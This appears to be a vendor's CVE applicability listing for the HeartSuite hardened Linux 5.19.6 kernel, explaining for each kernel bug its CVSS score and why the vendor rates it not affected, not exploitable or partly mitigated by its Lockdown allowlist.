Status: Not Affected — CONFIG_SCSI_MPI3MR not set Component: Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_MPI3MR not compiled in HS kernel

When the SAS Transport Layer support is enabled and a device exposed to the OS by the driver fails INQUIRY commands, the mpi3mr driver frees the memory allocated for an internal device handle but continues to reference that handle in subsequent SCSI transport operations, causing a use-after-free.

CONFIG_SCSI_MPI3MR is not set in the HS 5.19.6 configuration. The Broadcom mpi3mr SAS 3.0 HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53039

Status: Not Affected Component: Intel ISH HID driver (CONFIG_INTEL_ISH_HID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_INTEL_ISH_HID not compiled

When a reset notify IPC message is received by the Intel Integrated Sensor Hub Transfer Protocol (ISHTP) subsystem, the ISR schedules a work item and passes the device struct via the global ishtp_dev pointer. A race between the reset notify path and device teardown can leave ishtp_dev pointing to a freed object, triggering a use-after-free.

CONFIG_INTEL_ISH_HID is not set in the HS 5.19.6 configuration. The Intel ISH HID driver (drivers/hid/intel-ish-hid/) is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53065

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist

In kernel/events/core.c, a stack-out-of-bounds issue discovered by syzkaller occurs in the perf events sample output path. A crafted perf_event_open() call with specific sample type flags causes the kernel to write beyond the bounds of a stack-allocated buffer during event sampling, overwriting adjacent stack memory.

CONFIG_PERF_EVENTS=y is compiled in. The HS kernel sets /proc/sys/kernel/perf_event_paranoid=3, which restricts perf_event_open() to processes with CAP_PERFMON. No profiling tool (perf, sysdig, or equivalent) is included in the HS Lockdown allowlist — the kernel refuses to execute it. The crafted perf_event_open() call required to trigger the stack overflow is unreachable in a standard HS deployment.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-37861

Status: Not Affected — CONFIG_SCSI_MPI3MR not set Component: Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_MPI3MR not compiled in HS kernel

When the task management thread processes reply queues while the reset thread simultaneously resets them, the task management thread accesses an invalid queue ID (0xFFFF) — a sentinel value indicating a torn-down queue — resulting in an out-of-bounds access during the concurrent reset operation.

CONFIG_SCSI_MPI3MR is not set in the HS 5.19.6 configuration. The Broadcom mpi3mr SAS 3.0 HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-37979

Status: Not Affected — CONFIG_SND_SOC_SC7280 not compiled Component: Qualcomm sc7280 ASoC driver (CONFIG_SND_SOC_SC7280) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_SOC_SC7280 not compiled in HS kernel

Commit 5f78e1fb7a3e (“ASoC: qcom: Add driver support for audioreach solution”) introduced switch-case values in the Qualcomm sc7280 machine driver that index into fixed-size arrays without bounds checking, causing out-of-bounds access when unexpected codec or CPU DAI link types are encountered during probe.

CONFIG_SND_SOC_SC7280 is not set in the HS 5.19.6 configuration. This driver targets the Qualcomm sc7280 SoC, an ARM-based mobile/embedded platform. It is not selected on x86_64 server builds. The vulnerable code path does not exist on this system.

CVE-2022-49934

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

In net/mac80211/scan.c, ieee80211_scan_rx() accesses scan_req->flags after a null check. A use-after-free occurs when scan completion triggers __ieee80211_scan_completed(), which frees the scan request while a concurrent ieee80211_scan_rx() call still dereferences it.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38103

Status: Not exploitable Component: HID subsystem (CONFIG_HID) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no USB HID input devices on headless server

Update struct hid_descriptor to better reflect the mandatory and optional parts of the HID Descriptor as per USB HID 1.11 specification.

CONFIG_HID=y is compiled in. No USB human interface devices (keyboard, mouse, or other HID peripherals) are connected to a headless production server. HID device paths are never instantiated, making this code path unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38206

Status: Not Affected — CONFIG_EXFAT_FS not compiled Component: exFAT filesystem (CONFIG_EXFAT_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_EXFAT_FS not compiled in HS kernel

In fs/exfat/nls.c, exfat_load_upcase_table() frees sbi->vol_utbl via exfat_free_upcase_table() on a checksum-mismatch error (line 706) without NULLing the pointer. If the subsequent exfat_load_default_upcase_table() call fails to allocate a replacement buffer, sbi->vol_utbl retains the stale freed pointer. A later cleanup path calling exfat_free_upcase_table() again frees the same allocation, causing a double free. The trigger is mounting a specially crafted exFAT volume.

CONFIG_EXFAT_FS is not set in the HS 5.19.6 configuration. The exFAT filesystem driver — including fs/exfat/nls.c — is not compiled into the kernel image. Note that CONFIG_FAT_FS=y (VFAT/FAT32) is compiled for EFI system partition support, but that is a separate driver with no shared code. The vulnerable code path does not exist on this system.

CVE-2025-38239

Status: Not Affected — CONFIG_MEGARAID_SAS not set Component: LSI MegaRAID SAS driver (CONFIG_MEGARAID_SAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_MEGARAID_SAS not compiled in HS kernel

On systems with DRAM interleave enabled, the MegaRAID SAS driver miscalculates the MSI-X poll queue allocation, requesting poll queues beyond the number of available vectors. This results in an out-of-bounds access during driver initialization when the hardware exposes a specific MSI-X configuration.

CONFIG_MEGARAID_SAS is not set in the HS 5.19.6 configuration. The LSI/Broadcom MegaRAID SAS controller driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-38249

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In snd_usb_get_audioformat_uac3(), the length value returned from snd_usb_ctl_msg() is used directly for memory allocation without validation.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38389

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present

On ring submission GPU platforms, unbinding the i915 driver during testing sporadically triggers a kernel warning. A GPU context or ring buffer entry is accessed after being freed during the driver teardown path, detected by the kernel’s warning infrastructure during CI unbind tests.

CONFIG_DRM_I915=y is compiled in. No Intel integrated or discrete display GPU is present on this server deployment. Without display hardware, DRM device nodes may not be created and the GPU context entry points are unreachable. This follows the established pattern for i915 CVEs — see CVE-2022-4139.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38494

Status: Not exploitable Component: HID subsystem (CONFIG_HID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no USB HID input devices on headless server

hid_hw_raw_request() is actually useful to ensure the provided buffer and length are valid.

CONFIG_HID=y is compiled in. No USB human interface devices (keyboard, mouse, or other HID peripherals) are connected to a headless production server. HID device paths are never instantiated, making this code path unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38550

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/ipv6/mcast.c

What this means for an attacker:

In net/ipv6/mcast.c, mld_clear_delrec() releases the pmc->idev reference before calling ip6_mc_clear_src(), but ip6_mc_clear_src() accesses pmc->idev internally. The reference drop must be deferred until after ip6_mc_clear_src() returns; releasing it early causes a use-after-free when ip6_mc_clear_src() subsequently dereferences the freed pointer.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and the IPv6 stack is active on configured interfaces. IPv6 multicast listener discovery (MLD) is reachable via network interfaces that join multicast groups — a common configuration on servers. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-38556

Status: Not exploitable Component: HID subsystem (CONFIG_HID) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no USB HID input devices on headless server

Testing by the syzbot fuzzer showed that the HID core gets a shift-out-of-bounds exception when it tries to convert a 32-bit quantity to a 0-bit quantity.

CONFIG_HID=y is compiled in. No USB human interface devices (keyboard, mouse, or other HID peripherals) are connected to a headless production server. HID device paths are never instantiated, making this code path unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38563

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist

The perf mmap code is careful about mmap()‘ing the user page with the ringbuffer and additionally the auxiliary buffer, when the event supports it.

CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2025-38565

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist

When perf_mmap() fails to allocate a buffer, it still invokes the event_mapped() callback of the related event.

CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2025-38572

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/ipv6/

What this means for an attacker:

syzbot demonstrated that a crafted IPv6 packet with excessively long chained extension headers causes skb->transport_header to overflow. The field is a __u16; when the cumulative extension header length wraps past 65535, the kernel misidentifies the transport layer offset when parsing subsequent headers, potentially accessing incorrect memory.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and the IPv6 stack processes all inbound IPv6 packets, including those with extension headers. This path is reachable from the network without requiring a local process. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to escalate further — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-38699

Status: Not Affected — CONFIG_SCSI_BFA_FC not compiled Component: Brocade bfa FC driver (CONFIG_SCSI_BFA_FC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_BFA_FC not compiled in HS kernel

When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL.

CONFIG_SCSI_BFA_FC is not set in the HS 5.19.6 configuration. The Brocade bfa Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-38729

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-39702

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 6.5 MEDIUM — Lockdown reduces MI: High→Low; AC:H reduces exploitability (Exp=1.05 vs 1.83 for AC:L)

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/ipv6/

What this means for an attacker:

In net/ipv6/, a Message Authentication Code comparison used a variable-time function rather than a constant-time one (such as crypto_memneq()). An attacker who can observe response timing can iteratively determine whether partial MAC bytes are correct, eventually recovering a valid MAC and bypassing authentication in IPv6 protocol handling.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and 5.19.6 falls within the affected range. Exploiting a timing side-channel requires high network precision and repeated measurements (AC:H), which significantly reduces practical exploitability. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to follow up on a bypassed MAC check — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-39757

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no audio hardware present

UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-39760

Status: Not exploitable Component: USB core (CONFIG_USB) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no USB device on headless HS server; descriptor parsing path unreachable

usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size.

CONFIG_USB=y is compiled in and 5.19.6 falls within the affected range. The usb_parse_ss_endpoint_companion() descriptor parsing path is triggered during USB device enumeration when a device is connected. Root Lock by HeartSuite runs on headless server hardware with no external USB devices; no USB device enumeration occurs, so the vulnerable descriptor parsing code path is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2025-39788

Status: Not exploitable Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — UFS flash storage absent on x86 server

On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0.

CONFIG_SCSI=y is compiled in. UFS (Universal Flash Storage) is used in mobile and embedded platforms. This bug is in the Samsung Exynos UFS variant (ufs-exynos). A Debian 11 x86 server has no UFS hardware; the driver is never active.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-50306

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; do_mount() returns EPERM

Affected range: Linux 5.10+; 5.19.6 falls within range
Upstream fix: fs/ext4/fast_commit.c

In fs/ext4/fast_commit.c, the fast commit replay scan loop reads the tag-length header (struct ext4_fc_tl, 4 bytes) before verifying that at least 4 bytes remain in the replay buffer. Mounting a filesystem whose fast commit area has been truncated or crafted to place fewer than 4 bytes at the tail causes an out-of-bounds read when parsing the next tag.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. The vulnerable path runs during the fast commit replay scan triggered on mount of a filesystem whose fast commit area has a malformed tag-length header. On a Root Lock by HeartSuite system, sys_hs_lockdown_hs() blocks all mount paths at kernel/namespace.c:4218, 4300, 4453; do_mount() returns EPERM before any filesystem setup begins. No approved process in the HS allowlist carries a mount allowlist entry, and unapproved programs are refused execution by the kernel’s SPF gate regardless of file ownership or privilege. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2023-53257

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

Before checking the action code, check that it even exists in the frame.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-53282

Status: Not Affected — CONFIG_SCSI_LPFC not compiled Component: Emulex lpfc FC driver (CONFIG_SCSI_LPFC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_LPFC not compiled in HS kernel

In drivers/scsi/lpfc/, lpfc_wr_object() performs a use-after-free read during the sysfs firmware write process. KFENCE detects that a firmware object buffer is read after being freed during the firmware update write sequence.

CONFIG_SCSI_LPFC is not set in the HS 5.19.6 configuration. The Emulex lpfc Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53285

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — direct block device write requires CAP_SYS_RAWIO; no raw-device write tool in HS allowlist

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: fs/ext4/inode.c

ext4 validates i_extra_isize when an inode is first loaded into memory (fs/ext4/inode.c:4794), confirming that the extra space falls within the inode’s allocated size. If an attacker writes directly to the block device while the filesystem is mounted, the raw on-disk inode can be modified so that i_extra_isize exceeds the previously verified bound. Subsequent access to in-inode extended attributes computes the xattr magic pointer as EXT4_GOOD_OLD_INODE_SIZE + ei->i_extra_isize without re-validating the updated value, allowing a read or write beyond the end of the inode body.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. Exploiting this bug requires writing directly to the block device while the filesystem is mounted — an operation that requires root or CAP_SYS_RAWIO and a tool that issues raw writes to the block device (e.g., dd, badblocks, or a custom exploit program). On a Root Lock by HeartSuite system, no approved process in the HS allowlist writes raw block device data; the SPF allowlist blocks execution of any unapproved program at the kernel gate before the block device can be reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2023-53320

Status: Not Affected — CONFIG_SCSI_MPI3MR not set Component: Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_MPI3MR not compiled in HS kernel

In the mpi3mr driver, mpi3mr_get_all_tgt_info() has multiple issues in its device map handling: the function miscalculates the valid entry length in alltgt_info by incorrectly sizing the struct mpi3mr_device_map_info header, leading to out-of-bounds reads when iterating target device entries.

CONFIG_SCSI_MPI3MR is not set in the HS 5.19.6 configuration. The Broadcom mpi3mr SAS 3.0 HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53321

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

In net/mac80211/, control frames such as ACK frames that legally omit Address 2 and Address 3 are forwarded through wmediumd or similar userspace interfaces. The mac80211 frame parser does not enforce the full 3-address format before forwarding, potentially causing out-of-bounds reads in userspace frame consumers that assume the standard frame layout.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-53322

Status: Not Affected — CONFIG_SCSI_QLA_FC not compiled Component: QLogic qla2xxx FC driver (CONFIG_SCSI_QLA_FC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_QLA_FC not compiled in HS kernel

System crash due to use after free. Current code allows terminate_rport_io to exit before making sure all IOs has returned.

CONFIG_SCSI_QLA_FC is not set in the HS 5.19.6 configuration. The QLogic qla2xxx Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2022-50378

Status: Not exploitable Component: DRM subsystem (CONFIG_DRM) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — Amlogic Meson ARM SoC GPU absent

In drivers/gpu/drm/meson/, unloading the Amlogic Meson display driver triggers a KASAN use-after-free. During driver teardown, a resource allocated during probe is accessed after the teardown path has freed it, producing a KASAN warning at module unload time.

CONFIG_DRM=y is compiled in. drm/meson is the display driver for Amlogic Meson SoC platforms (ARM-based embedded boards such as ODROID, Khadas, etc.). This driver and its hardware are not present on an x86 Debian 11 server.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-53376

Status: Not Affected — CONFIG_SCSI_MPI3MR not set Component: Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_MPI3MR not compiled in HS kernel

To allocate bitmaps, the mpi3mr driver calculates sizes of bitmaps using byte as unit.

CONFIG_SCSI_MPI3MR is not set in the HS 5.19.6 configuration. The Broadcom mpi3mr SAS 3.0 HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53392

Status: Not exploitable Component: HID subsystem (CONFIG_HID) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no USB HID input devices on headless server

In the Intel ISHTP HID driver, during a warm reset device->fw_client is set to NULL. If a bus driver is registered after this NULL assignment but before ISHTP completes re-enumeration of firmware clients, the driver dereferences the NULL fw_client pointer, triggering a kernel panic.

CONFIG_HID=y is compiled in. No USB human interface devices (keyboard, mouse, or other HID peripherals) are connected to a headless production server. HID device paths are never instantiated, making this code path unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-39841

Status: Not Affected — CONFIG_SCSI_LPFC not compiled Component: Emulex lpfc FC driver (CONFIG_SCSI_LPFC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_LPFC not compiled in HS kernel

Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path.

CONFIG_SCSI_LPFC is not set in the HS 5.19.6 configuration. The Emulex lpfc Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-39864

Status: Not exploitable Component: cfg80211 wireless framework (CONFIG_CFG80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

In net/wireless/scan.c, cfg80211_update_known_bss() frees the last beacon frame of a BSS entry under conditions related to hidden SSID tracking (commit 776b3580178f). A race condition allows this beacon frame to be freed while still referenced by another code path, causing a use-after-free.

CONFIG_CFG80211=y is compiled in. No WiFi network interface card is present on a server deployment. cfg80211 manages wireless interfaces; without hardware, no interface is created and the affected code paths are unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-39866

Status: Affected Component: VFS writeback subsystem Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: fs/fs-writeback.c

What this means for an attacker:

In fs/fs-writeback.c, __mark_inode_dirty() acquires a reference to a bdi_writeback structure. A concurrent bdi_writeback_switch() can free the structure before the reference is dropped, resulting in a use-after-free when the writeback pointer is subsequently accessed.